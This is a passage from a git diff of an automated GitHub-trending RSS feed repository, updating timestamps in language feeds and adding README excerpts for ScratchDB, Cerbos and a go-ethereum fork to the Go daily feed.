tag:github.com,2023-10-30:/quic/snapdragon-gsr + + <p></p><hr> + \ No newline at end of file diff --git a/glsl/weekly/index.xml b/glsl/weekly/index.xml deleted file mode 100644 index 826585f12ba..00000000000 --- a/glsl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GLSL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:54Z - Weekly Trending of GLSL in GitHub - - \ No newline at end of file diff --git a/glyph-bitmap-distribution-format/daily/index.xml b/glyph-bitmap-distribution-format/daily/index.xml index 5756d77d663..9d9551fd59a 100644 --- a/glyph-bitmap-distribution-format/daily/index.xml +++ b/glyph-bitmap-distribution-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Bitmap Distribution Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:18Z + 2023-10-30T01:28:27Z Daily Trending of Glyph Bitmap Distribution Format in GitHub \ No newline at end of file diff --git a/glyph-bitmap-distribution-format/weekly/index.xml b/glyph-bitmap-distribution-format/weekly/index.xml deleted file mode 100644 index 0a3c6524d38..00000000000 --- a/glyph-bitmap-distribution-format/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Glyph Bitmap Distribution Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:52Z - Weekly Trending of Glyph Bitmap Distribution Format in GitHub - - \ No newline at end of file diff --git a/glyph/daily/index.xml b/glyph/daily/index.xml index b19f867bb47..507e2fdf31b 100644 --- a/glyph/daily/index.xml +++ b/glyph/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:16Z + 2023-10-30T01:28:28Z Daily Trending of Glyph in GitHub \ No newline at end of file diff --git a/glyph/weekly/index.xml b/glyph/weekly/index.xml deleted file mode 100644 index 9b3f7f02664..00000000000 --- a/glyph/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Glyph Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:53Z - Weekly Trending of Glyph in GitHub - - \ No newline at end of file diff --git a/gn/daily/index.xml b/gn/daily/index.xml index e6e484f4a69..c433d912f74 100644 --- a/gn/daily/index.xml +++ b/gn/daily/index.xml @@ -1,7 +1,7 @@ GitHub GN Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:17Z + 2023-10-30T01:28:28Z Daily Trending of GN in GitHub \ No newline at end of file diff --git a/gn/weekly/index.xml b/gn/weekly/index.xml deleted file mode 100644 index 8e1c62cd2b7..00000000000 --- a/gn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GN Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:55Z - Weekly Trending of GN in GitHub - - \ No newline at end of file diff --git a/gnuplot/daily/index.xml b/gnuplot/daily/index.xml index 9bc5ea68619..da35b3b0e9e 100644 --- a/gnuplot/daily/index.xml +++ b/gnuplot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gnuplot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:22Z + 2023-10-30T01:28:31Z Daily Trending of Gnuplot in GitHub \ No newline at end of file diff --git a/gnuplot/weekly/index.xml b/gnuplot/weekly/index.xml deleted file mode 100644 index b08e05afd0a..00000000000 --- a/gnuplot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gnuplot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:56Z - Weekly Trending of Gnuplot in GitHub - - \ No newline at end of file diff --git a/go-checksums/daily/index.xml b/go-checksums/daily/index.xml index 56dbf75bcec..2980833473b 100644 --- a/go-checksums/daily/index.xml +++ b/go-checksums/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Checksums Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:23Z + 2023-10-30T01:28:32Z Daily Trending of Go Checksums in GitHub \ No newline at end of file diff --git a/go-checksums/weekly/index.xml b/go-checksums/weekly/index.xml deleted file mode 100644 index 4a3d30cad5a..00000000000 --- a/go-checksums/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Go Checksums Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:57Z - Weekly Trending of Go Checksums in GitHub - - \ No newline at end of file diff --git a/go-module/daily/index.xml b/go-module/daily/index.xml index 8b07e67f0b5..55a3f99b649 100644 --- a/go-module/daily/index.xml +++ b/go-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:21Z + 2023-10-30T01:28:32Z Daily Trending of Go Module in GitHub \ No newline at end of file diff --git a/go-module/weekly/index.xml b/go-module/weekly/index.xml deleted file mode 100644 index 65abc71c552..00000000000 --- a/go-module/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Go Module Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:58Z - Weekly Trending of Go Module in GitHub - - \ No newline at end of file diff --git a/go/daily/index.xml b/go/daily/index.xml index fcb177b099b..2c2755bc3ed 100644 --- a/go/daily/index.xml +++ b/go/daily/index.xml @@ -1,14 +1,28 @@ GitHub Go Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:26Z + 2023-10-30T01:28:35Z Daily Trending of Go in GitHub - beego/beego - 2023-10-29T01:32:26Z - tag:github.com,2023-10-29:/beego/beego - - <p>beego is an open-source, high-performance web framework for the Go programming language.</p><hr><h1>Beego <a href="https://github.com/beego/beego/actions/workflows/test.yml"><img src="https://github.com/beego/beego/actions/workflows/test.yml/badge.svg?branch=develop" alt="Test"></a> <a href="https://goreportcard.com/report/github.com/beego/beego"><img src="https://goreportcard.com/badge/github.com/beego/beego" alt="Go Report Card"></a> <a href="https://pkg.go.dev/github.com/beego/beego/v2"><img src="https://pkg.go.dev/badge/github.com/beego/beego/v2.svg?sanitize=true" alt="Go Reference"></a></h1> <p>Beego is used for rapid development of enterprise application in Go, including RESTful APIs, web apps and backend services.</p> <p>It is inspired by Tornado, Sinatra and Flask. beego has some Go-specific features such as interfaces and struct embedding.</p> <p><img src="https://cdn.nlark.com/yuque/0/2020/png/755700/1607857489109-1e267fce-d65f-4c5e-b915-5c475df33c58.png" alt="architecture"></p> <p>Beego is composed of four parts:</p> <ol> <li>Base modules: including log module, config module, governor module;</li> <li>Task: is used for running timed tasks or periodic tasks;</li> <li>Client: including ORM module, httplib module, cache module;</li> <li>Server: including web module. We will support gRPC in the future;</li> </ol> <p><strong>Please use RELEASE version, or master branch which contains the latest bug fix</strong></p> <p><strong>We will remove the adapter package in v2.2.0 which will be released in Aug 2023</strong></p> <h2>Quick Start</h2> <p><a href="https://github.com/beego/beedoc">Old Doc - github</a> <a href="https://beego.gocn.vip">New Doc Website</a> <a href="https://github.com/beego/beego-example">Example</a></p> <blockquote> <p>Kindly remind that sometimes the HTTPS certificate is expired, you may get some NOT SECURE warning</p> </blockquote> <h3>Web Application</h3> <p><img src="https://cdn.nlark.com/yuque/0/2020/png/755700/1607857462507-855ec543-7ce3-402d-a0cb-b2524d5a4b60.png" alt="Http Request"></p> <h4>Create <code>hello</code> directory, cd <code>hello</code> directory</h4> <pre><code>mkdir hello cd hello </code></pre> <h4>Init module</h4> <pre><code>go mod init </code></pre> <h4>Download and install</h4> <pre><code>go get github.com/beego/beego/v2@latest </code></pre> <h4>Create file <code>hello.go</code></h4> <pre><code class="language-go">package main import "github.com/beego/beego/v2/server/web" func main() { web.Run() } </code></pre> <h4>Build and run</h4> <pre><code>go build hello.go ./hello </code></pre> <h4>Go to <a href="http://localhost:8080">http://localhost:8080</a></h4> <p>Congratulations! You've just built your first <strong>beego</strong> app.</p> <h2>Features</h2> <ul> <li>RESTful support</li> <li><a href="https://github.com/beego/beedoc/tree/master/en-US/mvc">MVC architecture</a></li> <li>Modularity</li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/advantage/docs.md">Auto API documents</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/mvc/controller/router.md">Annotation router</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/mvc/controller/router.md#namespace">Namespace</a></li> <li><a href="https://github.com/beego/bee">Powerful development tools</a></li> <li>Full stack for Web &amp; API</li> </ul> <h2>Modules</h2> <ul> <li><a href="https://github.com/beego/beedoc/tree/master/en-US/mvc/model">orm</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/session.md">session</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/logs.md">logs</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/config.md">config</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/cache.md">cache</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/context.md">context</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/admin.md">admin</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/httplib.md">httplib</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/task.md">task</a></li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/module/i18n.md">i18n</a></li> </ul> <h2>Community</h2> <ul> <li>Welcome to join us in Slack: <a href="https://join.slack.com/t/beego/shared_invite/zt-fqlfjaxs-_CRmiITCSbEqQG9NeBqXKA">https://beego.slack.com invite</a>,</li> <li>QQ Group ID:523992905</li> <li><a href="https://github.com/beego/beedoc/raw/master/en-US/intro/contributing.md">Contribution Guide</a>.</li> </ul> <h2>License</h2> <p>beego source code is licensed under the Apache Licence, Version 2.0 (<a href="https://www.apache.org/licenses/LICENSE-2.0.html">https://www.apache.org/licenses/LICENSE-2.0.html</a>).</p> + scratchdata/ScratchDB + 2023-10-30T01:28:35Z + tag:github.com,2023-10-30:/scratchdata/ScratchDB + + <p>Scratch is an open-source alternative to BigQuery, Redshift, and Snowflake. Runs on Clickhouse.</p><hr><h1>ScratchDB</h1> <p>ScratchDB is a wrapper around Clickhouse that lets you input arbitrary JSON and perform analytical queries against it. It automatically creates tables and columns when new data is added.</p> <h2>Quickstart</h2> <h4>1. Run the server</h4> <p>Clone the repo:</p> <pre><code class="language-bash">$ git clone git@github.com:scratchdata/ScratchDB.git $ cd ScratchDB </code></pre> <p>Start clickhouse and localstack:</p> <pre><code class="language-bash">$ docker-compose up </code></pre> <p>In a separate terminal, start the insert service:</p> <pre><code class="language-bash">$ go run . insert </code></pre> <p>Finally, in an additional terminal window, start the ingest service:</p> <pre><code class="language-bash">$ go run . ingest </code></pre> <h4>2. Insert JSON data</h4> <pre><code class="language-bash">$ curl -X POST http://localhost:3000/data \ -H 'Content-Type: application/json' \ -H 'X-Api-Key: local' \ -d '{"table":"my_table","data":{"fruit": "apple"}}' </code></pre> <h4>3. Query</h4> <p>To view data in JSON format: <a href="http://localhost:3000/query?q=select%20*%20from%20my_table">http://localhost:3000/query?q=select * from my_table</a></p> <pre><code class="language-bash">curl -H 'X-Api-Key: local' "http://localhost:3000/query?q=select%20*%20from%20my_table" </code></pre> <p>To view data in an HTML table: <a href="http://localhost:3000/query?format=html&amp;q=select%20*%20from%20my_table">http://localhost:3000/query?format=html&amp;q=select * from my_table</a></p> <pre><code>curl -H 'X-Api-Key: local' "http://localhost:3000/query?format=html&amp;q=select%20*%20from%20my_table" </code></pre> + + + cerbos/cerbos + 2023-10-30T01:28:35Z + tag:github.com,2023-10-30:/cerbos/cerbos + + <p>Cerbos is the open core, language-agnostic, scalable authorization solution that makes user permissions and authorization simple to implement and manage by writing context-aware access control policies for your application resources.</p><hr><p><img src="https://img.shields.io/github/v/release/cerbos/cerbos?color=green&amp;logo=github&amp;sort=semver" alt="GitHub release (latest SemVer)"> <a href="https://github.com/cerbos/cerbos/actions/workflows/snapshot.yaml"><img src="https://github.com/cerbos/cerbos/actions/workflows/snapshot.yaml/badge.svg?sanitize=true" alt="Snapshots"></a> <a href="https://goreportcard.com/report/github.com/cerbos/cerbos"><img src="https://goreportcard.com/badge/github.com/cerbos/cerbos" alt="Go Report Card"></a> <a href="https://raw.githubusercontent.com/cerbos/cerbos/main/CODE_OF_CONDUCT.md"><img src="https://img.shields.io/badge/Contributor%20Covenant-2.0-4baaaa.svg?sanitize=true" alt="Contributor Covenant"></a></p> <p align="center"> <img src="https://github.com/cerbos/cerbos/raw/main/docs/supplemental-ui/logo.png?raw=true" alt="Cerbos"> </p> <h2>What is Cerbos?</h2> <p>Cerbos is an authorization layer that evolves with your product. It enables you to define powerful, context-aware access control rules for your application resources in simple, intuitive YAML policies; managed and deployed via your Git-ops infrastructure. It provides highly available APIs to make simple requests to evaluate policies and make dynamic access decisions for your application.</p> <h2>Key concepts, at a glance 👀</h2> <p><strong><em>PRINCIPAL:</em></strong> oftentimes just the "user", but can also represent: other applications, services, bots or anything you can think of. The "thing" that's trying to carry out an... ↙️</p> <p><strong><em>ACTION:</em></strong> a specific task. Whether it be to create, view, update, delete, acknowledge, approve... anything at all. The principal might have permission to do all actions, or maybe just one or two. The actions are carried out on a... ↙️</p> <p><strong><em>RESOURCE:</em></strong> the thing you're controlling access to. Could be anything, e.g. in an expense management system; reports, receipts, card details, payment records, etc. You define resources in Cerbos by writing... ↙️</p> <p><strong><em>POLICIES:</em></strong> YAML files where you define the access rules for each resource, following a <a href="https://raw.githubusercontent.com/cerbos/cerbos/main/#resource-policy">simple, structured format</a>. Stored either: <a href="https://docs.cerbos.dev/cerbos/latest/configuration/storage.html#disk-driver">on disk</a>, in <a href="https://docs.cerbos.dev/cerbos/latest/configuration/storage.html#blob-driver">cloud object stores</a>, <a href="https://docs.cerbos.dev/cerbos/latest/configuration/storage.html#git-driver">git repos</a>, or dynamically in <a href="https://docs.cerbos.dev/cerbos/latest/configuration/storage.html#sqlite3">supported databases</a>. These are continually monitored by the... ↙️</p> <p><strong><em>CERBOS PDP:</em></strong> the Policy Decision Point: the stateless service where policies are executed and decisions are made. This runs as a separate process, in kube (as a <a href="https://docs.cerbos.dev/cerbos/latest/deployment/k8s-service.html">service</a> or a <a href="https://docs.cerbos.dev/cerbos/latest/deployment/k8s-sidecar.html">sidecar</a>), directly as a <a href="https://docs.cerbos.dev/cerbos/latest/deployment/systemd.html">systemd service</a> or as an <a href="https://docs.cerbos.dev/cerbos/latest/deployment/serverless-faas.html">AWS Lambda function</a>. Once deployed, the PDP provides two primary APIs...</p> <ul> <li><strong><em>CheckResources:</em></strong> "Can this principal access this resource?"</li> <li><strong><em>PlanResources:</em></strong> "Which of resource kind=X can this principal access?"</li> </ul> <p>These APIs can be called via <a href="https://raw.githubusercontent.com/cerbos/cerbos/main/#api-request">cURL</a>, or in production via one of our many... ↙️</p> <p><strong><em>SDKs:</em></strong> you can see the list <a href="https://raw.githubusercontent.com/cerbos/cerbos/main/#client-sdks">here</a>. There are also a growing number of <a href="https://raw.githubusercontent.com/cerbos/cerbos/main/#query-plan-adapters">query plan adapters</a>, to convert the SDK <code>PlanResources</code> responses to a convenient query instance.</p> <p><strong><em>RBAC -&gt; ABAC:</em></strong> If simple RBAC doesn't cut it, you can extend the decision-making by implementing attribute based rules. Implement <code>conditions</code> in your resource policies which are evaluated dynamically at runtime using contextual data, for much more granular control. Add conditions in <a href="https://docs.cerbos.dev/cerbos/latest/policies/derived_roles.html">derived roles</a> to dynamically extend the RBAC roles. Or use <a href="https://docs.cerbos.dev/cerbos/latest/policies/principal_policies.html">principal policies</a> for more particular overrides for a specific user.</p> <p align="center"> <img src="https://github.com/cerbos/cerbos/raw/main/docs/modules/ROOT/assets/images/how_cerbos_works.png?raw=true" alt="Cerbos"> </p> <h2>Learn more</h2> <ul> <li>Get up and running quickly with our <a href="https://docs.cerbos.dev/cerbos/latest/quickstart.html">quickstart</a>, or build an example implemention in our <a href="https://docs.cerbos.dev/cerbos/latest/tutorial/00_intro.html">tutorial</a></li> <li>See <a href="https://raw.githubusercontent.com/cerbos/cerbos/main/#examples">example policies and requests</a></li> <li>Read the <a href="https://docs.cerbos.dev">full documentation</a></li> <li>Explore some of our <a href="https://github.com/cerbos">demo repositories</a></li> <li>Try online with the <a href="https://play.cerbos.dev">Cerbos playground</a></li> </ul> <h2>Used by</h2> <p>Cerbos is popular among large and small organizations:</p> <p align="center"> <img src="https://cerbos.dev/assets/logos/readme_logos.png" alt="Cerbos"> </p> <p><em>Using Cerbos? Let us know by emailing <a href="mailto:devrel@cerbos.dev">devrel@cerbos.dev</a>.</em></p> <h2>Installation</h2> <ul> <li><a href="https://docs.cerbos.dev/cerbos/latest/installation/container.html">Container</a></li> <li><a href="https://docs.cerbos.dev/cerbos/latest/installation/binary.html">Binary/OS packages</a></li> <li><a href="https://docs.cerbos.dev/cerbos/latest/installation/helm.html">Helm Chart</a></li> </ul> <h2>Examples</h2> <h4>Resource policy</h4> <p>Write access rules for a resource.</p> <pre><code class="language-yaml">--- apiVersion: api.cerbos.dev/v1 resourcePolicy: importDerivedRoles: - common_roles resource: "album:object" version: "default" rules: - actions: ['*'] effect: EFFECT_ALLOW derivedRoles: - owner - actions: ['view', 'flag'] effect: EFFECT_ALLOW roles: - user condition: match: expr: request.resource.attr.public == true - actions: ['view', 'delete'] effect: EFFECT_ALLOW derivedRoles: - abuse_moderator </code></pre> <h4>Derived roles</h4> <p>Dynamically assign new roles to users based on contextual data.</p> <pre><code class="language-yaml">--- apiVersion: "api.cerbos.dev/v1" derivedRoles: name: common_roles definitions: - name: owner parentRoles: ["user"] condition: match: expr: request.resource.attr.owner == request.principal.id - name: abuse_moderator parentRoles: ["moderator"] condition: match: expr: request.resource.attr.flagged == true </code></pre> <h4>API request</h4> <pre><code class="language-sh">cat &lt;&lt;EOF | curl --silent "http://localhost:3592/api/check/resources?pretty" -d @- { "requestId": "test01", "includeMeta": true, "principal": { "id": "alicia", "roles": [ "user" ] }, "resources": [ { "actions": [ "view" ], "resource": { "id": "XX125", "kind": "album:object", "attr": { "owner": "alicia", "public": false, "flagged": false } } } ] } EOF </code></pre> <h4>API response</h4> <pre><code class="language-json">{ "requestId": "test01", "results": [ { "resource": { "id": "XX125", "kind": "album:object", "policyVersion": "default" }, "actions": { "view": "EFFECT_ALLOW" }, "meta": { "actions": { "view": { "matchedPolicy": "resource.album_object.vdefault" } }, "effectiveDerivedRoles": [ "owner" ] } } ] } </code></pre> <h2>Client SDKs</h2> <ul> <li><a href="https://github.com/cerbos/cerbos-sdk-go">Go</a></li> <li><a href="https://github.com/cerbos/cerbos-sdk-java">Java</a></li> <li><a href="https://github.com/cerbos/cerbos-sdk-javascript">JavaScript</a></li> <li><a href="https://github.com/cerbos/cerbos-sdk-net">.NET</a></li> <li><a href="https://github.com/cerbos/cerbos-sdk-php">PHP</a></li> <li><a href="https://github.com/cerbos/cerbos-sdk-python">Python</a></li> <li><a href="https://github.com/cerbos/cerbos-sdk-ruby">Ruby</a></li> <li><a href="https://github.com/cerbos/cerbos-sdk-rust">Rust</a></li> </ul> <h2>Query plan adapters</h2> <ul> <li><a href="https://github.com/cerbos/query-plan-adapters/tree/main/prisma">Prisma</a></li> <li><a href="https://github.com/cerbos/query-plan-adapters/tree/main/sqlalchemy">SQLAlchemy</a></li> </ul> <h2>Telemetry</h2> <p>We collect anonymous usage data to help us improve the product. You can opt out by setting the <code>CERBOS_NO_TELEMETRY=1</code> environment variable. For more information about what data we collect and other ways to opt out, see the <a href="https://docs.cerbos.dev/cerbos/latest/telemetry.html">telemetry documentation</a>.</p> <h2>Join the community 💬</h2> <p>Join Slack 👇</p> <p><a href="http://go.cerbos.io/slack"><img src="https://i.ibb.co/GxJfc1Q/cerbos-slack-btn.png" width="200"></a></p> <p>Subscribe to our <a href="https://cerbos.dev/subscribe">Newsletter</a></p> <h2>Contributing ⌨️</h2> <p>Check out <a href="https://raw.githubusercontent.com/cerbos/cerbos/main/CONTRIBUTING.md">how to contribute</a>.</p> <h2>Stargazers ⭐</h2> <p><a href="https://github.com/cerbos/cerbos"><img src="https://reporoster.com/stars/cerbos/cerbos" alt="Stargazers repo roster for cerbos/cerbos"></a></p> + + + SidraChain/go-ethereum + 2023-10-30T01:28:35Z + tag:github.com,2023-10-30:/SidraChain/go-ethereum + + <p>Forked Golang execution layer implementation of the Ethereum protocol.</p><hr><h2>Go Ethereum</h2> <p>Official Golang execution layer implementation of the Ethereum protocol.</p> <p><a href="https://pkg.go.dev/github.com/ethereum/go-ethereum?tab=doc"><img src="https://camo.githubusercontent.com/915b7be44ada53c290eb157634330494ebe3e30a/68747470733a2f2f676f646f632e6f72672f6769746875622e636f6d2f676f6c616e672f6764646f3f7374617475732e737667" alt="API Reference"></a> <a href="https://goreportcard.com/report/github.com/ethereum/go-ethereum"><img src="https://goreportcard.com/badge/github.com/ethereum/go-ethereum" alt="Go Report Card"></a> <a href="https://travis-ci.com/ethereum/go-ethereum"><img src="https://travis-ci.com/ethereum/go-ethereum.svg?branch=master" alt="Travis"></a> <a href="https://discord.gg/nthXNEv"><img src="https://img.shields.io/badge/discord-join%20chat-blue.svg?sanitize=true" alt="Discord"></a></p> <p>Automated builds are available for stable releases and the unstable master branch. Binary archives are published at <a href="https://geth.ethereum.org/downloads/">https://geth.ethereum.org/downloads/</a>.</p> <h2>Building the source</h2> <p>For prerequisites and detailed build instructions please read the <a href="https://geth.ethereum.org/docs/getting-started/installing-geth">Installation Instructions</a>.</p> <p>Building <code>geth</code> requires both a Go (version 1.19 or later) and a C compiler. You can install them using your favourite package manager. Once the dependencies are installed, run</p> <pre><code class="language-shell">make geth </code></pre> <p>or, to build the full suite of utilities:</p> <pre><code class="language-shell">make all </code></pre> <h2>Executables</h2> <p>The go-ethereum project comes with several wrappers/executables found in the <code>cmd</code> directory.</p> <table> <thead> <tr> <th align="center">Command</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td align="center"><strong><code>geth</code></strong></td> <td>Our main Ethereum CLI client. It is the entry point into the Ethereum network (main-, test- or private net), capable of running as a full node (default), archive node (retaining all historical state) or a light node (retrieving data live). It can be used by other processes as a gateway into the Ethereum network via JSON RPC endpoints exposed on top of HTTP, WebSocket and/or IPC transports. <code>geth --help</code> and the <a href="https://geth.ethereum.org/docs/fundamentals/command-line-options">CLI page</a> for command line options.</td> </tr> <tr> <td align="center"><code>clef</code></td> <td>Stand-alone signing tool, which can be used as a backend signer for <code>geth</code>.</td> </tr> <tr> <td align="center"><code>devp2p</code></td> <td>Utilities to interact with nodes on the networking layer, without running a full blockchain.</td> </tr> <tr> <td align="center"><code>abigen</code></td> <td>Source code generator to convert Ethereum contract definitions into easy-to-use, compile-time type-safe Go packages. It operates on plain <a href="https://docs.soliditylang.org/en/develop/abi-spec.html">Ethereum contract ABIs</a> with expanded functionality if the contract bytecode is also available. However, it also accepts Solidity source files, making development much more streamlined. Please see our <a href="https://geth.ethereum.org/docs/developers/dapp-developer/native-bindings">Native DApps</a> page for details.</td> </tr> <tr> <td align="center"><code>bootnode</code></td> <td>Stripped down version of our Ethereum client implementation that only takes part in the network node discovery protocol, but does not run any of the higher level application protocols. It can be used as a lightweight bootstrap node to aid in finding peers in private networks.</td> </tr> <tr> <td align="center"><code>evm</code></td> <td>Developer utility version of the EVM (Ethereum Virtual Machine) that is capable of running bytecode snippets within a configurable environment and execution mode. Its purpose is to allow isolated, fine-grained debugging of EVM opcodes (e.g. <code>evm --code 60ff60ff --debug run</code>).</td> </tr> <tr> <td align="center"><code>rlpdump</code></td> <td>Developer utility tool to convert binary RLP (<a href="https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp">Recursive Length Prefix</a>) dumps (data encoding used by the Ethereum protocol both network as well as consensus wise) to user-friendlier hierarchical representation (e.g. <code>rlpdump --hex CE0183FFFFFFC4C304050583616263</code>).</td> </tr> </tbody> </table> <h2>Running <code>geth</code></h2> <p>Going through all the possible command line flags is out of scope here (please consult our <a href="https://geth.ethereum.org/docs/fundamentals/command-line-options">CLI Wiki page</a>), but we've enumerated a few common parameter combos to get you up to speed quickly on how you can run your own <code>geth</code> instance.</p> <h3>Hardware Requirements</h3> <p>Minimum:</p> <ul> <li>CPU with 2+ cores</li> <li>4GB RAM</li> <li>1TB free storage space to sync the Mainnet</li> <li>8 MBit/sec download Internet service</li> </ul> <p>Recommended:</p> <ul> <li>Fast CPU with 4+ cores</li> <li>16GB+ RAM</li> <li>High-performance SSD with at least 1TB of free space</li> <li>25+ MBit/sec download Internet service</li> </ul> <h3>Full node on the main Ethereum network</h3> <p>By far the most common scenario is people wanting to simply interact with the Ethereum network: create accounts; transfer funds; deploy and interact with contracts. For this particular use case, the user doesn't care about years-old historical data, so we can sync quickly to the current state of the network. To do so:</p> <pre><code class="language-shell">$ geth console </code></pre> <p>This command will:</p> <ul> <li>Start <code>geth</code> in snap sync mode (default, can be changed with the <code>--syncmode</code> flag), causing it to download more data in exchange for avoiding processing the entire history of the Ethereum network, which is very CPU intensive.</li> <li>Start the built-in interactive <a href="https://geth.ethereum.org/docs/interacting-with-geth/javascript-console">JavaScript console</a>, (via the trailing <code>console</code> subcommand) through which you can interact using <a href="https://github.com/ChainSafe/web3.js/raw/0.20.7/DOCUMENTATION.md"><code>web3</code> methods</a> (note: the <code>web3</code> version bundled within <code>geth</code> is very old, and not up to date with official docs), as well as <code>geth</code>'s own <a href="https://geth.ethereum.org/docs/interacting-with-geth/rpc">management APIs</a>. This tool is optional and if you leave it out you can always attach it to an already running <code>geth</code> instance with <code>geth attach</code>.</li> </ul> <h3>A Full node on the Görli test network</h3> <p>Transitioning towards developers, if you'd like to play around with creating Ethereum contracts, you almost certainly would like to do that without any real money involved until you get the hang of the entire system. In other words, instead of attaching to the main network, you want to join the <strong>test</strong> network with your node, which is fully equivalent to the main network, but with play-Ether only.</p> <pre><code class="language-shell">$ geth --goerli console </code></pre> <p>The <code>console</code> subcommand has the same meaning as above and is equally useful on the testnet too.</p> <p>Specifying the <code>--goerli</code> flag, however, will reconfigure your <code>geth</code> instance a bit:</p> <ul> <li>Instead of connecting to the main Ethereum network, the client will connect to the Görli test network, which uses different P2P bootnodes, different network IDs and genesis states.</li> <li>Instead of using the default data directory (<code>~/.ethereum</code> on Linux for example), <code>geth</code> will nest itself one level deeper into a <code>goerli</code> subfolder (<code>~/.ethereum/goerli</code> on Linux). Note, on OSX and Linux this also means that attaching to a running testnet node requires the use of a custom endpoint since <code>geth attach</code> will try to attach to a production node endpoint by default, e.g., <code>geth attach &lt;datadir&gt;/goerli/geth.ipc</code>. Windows users are not affected by this.</li> </ul> <p><em>Note: Although some internal protective measures prevent transactions from crossing over between the main network and test network, you should always use separate accounts for play and real money. Unless you manually move accounts, <code>geth</code> will by default correctly separate the two networks and will not make any accounts available between them.</em></p> <h3>Configuration</h3> <p>As an alternative to passing the numerous flags to the <code>geth</code> binary, you can also pass a configuration file via:</p> <pre><code class="language-shell">$ geth --config /path/to/your_config.toml </code></pre> <p>To get an idea of how the file should look like you can use the <code>dumpconfig</code> subcommand to export your existing configuration:</p> <pre><code class="language-shell">$ geth --your-favourite-flags dumpconfig </code></pre> <p><em>Note: This works only with <code>geth</code> v1.6.0 and above.</em></p> <h4>Docker quick start</h4> <p>One of the quickest ways to get Ethereum up and running on your machine is by using Docker:</p> <pre><code class="language-shell">docker run -d --name ethereum-node -v /Users/alice/ethereum:/root \ -p 8545:8545 -p 30303:30303 \ ethereum/client-go </code></pre> <p>This will start <code>geth</code> in snap-sync mode with a DB memory allowance of 1GB, as the above command does. It will also create a persistent volume in your home directory for saving your blockchain as well as map the default ports. There is also an <code>alpine</code> tag available for a slim version of the image.</p> <p>Do not forget <code>--http.addr 0.0.0.0</code>, if you want to access RPC from other containers and/or hosts. By default, <code>geth</code> binds to the local interface and RPC endpoints are not accessible from the outside.</p> <h3>Programmatically interfacing <code>geth</code> nodes</h3> <p>As a developer, sooner rather than later you'll want to start interacting with <code>geth</code> and the Ethereum network via your own programs and not manually through the console. To aid this, <code>geth</code> has built-in support for a JSON-RPC based APIs (<a href="https://ethereum.github.io/execution-apis/api-documentation/">standard APIs</a> and <a href="https://geth.ethereum.org/docs/interacting-with-geth/rpc"><code>geth</code> specific APIs</a>). These can be exposed via HTTP, WebSockets and IPC (UNIX sockets on UNIX based platforms, and named pipes on Windows).</p> <p>The IPC interface is enabled by default and exposes all the APIs supported by <code>geth</code>, whereas the HTTP and WS interfaces need to manually be enabled and only expose a subset of APIs due to security reasons. These can be turned on/off and configured as you'd expect.</p> <p>HTTP based JSON-RPC API options:</p> <ul> <li><code>--http</code> Enable the HTTP-RPC server</li> <li><code>--http.addr</code> HTTP-RPC server listening interface (default: <code>localhost</code>)</li> <li><code>--http.port</code> HTTP-RPC server listening port (default: <code>8545</code>)</li> <li><code>--http.api</code> API's offered over the HTTP-RPC interface (default: <code>eth,net,web3</code>)</li> <li><code>--http.corsdomain</code> Comma separated list of domains from which to accept cross origin requests (browser enforced)</li> <li><code>--ws</code> Enable the WS-RPC server</li> <li><code>--ws.addr</code> WS-RPC server listening interface (default: <code>localhost</code>)</li> <li><code>--ws.port</code> WS-RPC server listening port (default: <code>8546</code>)</li> <li><code>--ws.api</code> API's offered over the WS-RPC interface (default: <code>eth,net,web3</code>)</li> <li><code>--ws.origins</code> Origins from which to accept WebSocket requests</li> <li><code>--ipcdisable</code> Disable the IPC-RPC server</li> <li><code>--ipcapi</code> API's offered over the IPC-RPC interface (default: <code>admin,debug,eth,miner,net,personal,txpool,web3</code>)</li> <li><code>--ipcpath</code> Filename for IPC socket/pipe within the datadir (explicit paths escape it)</li> </ul> <p>You'll need to use your 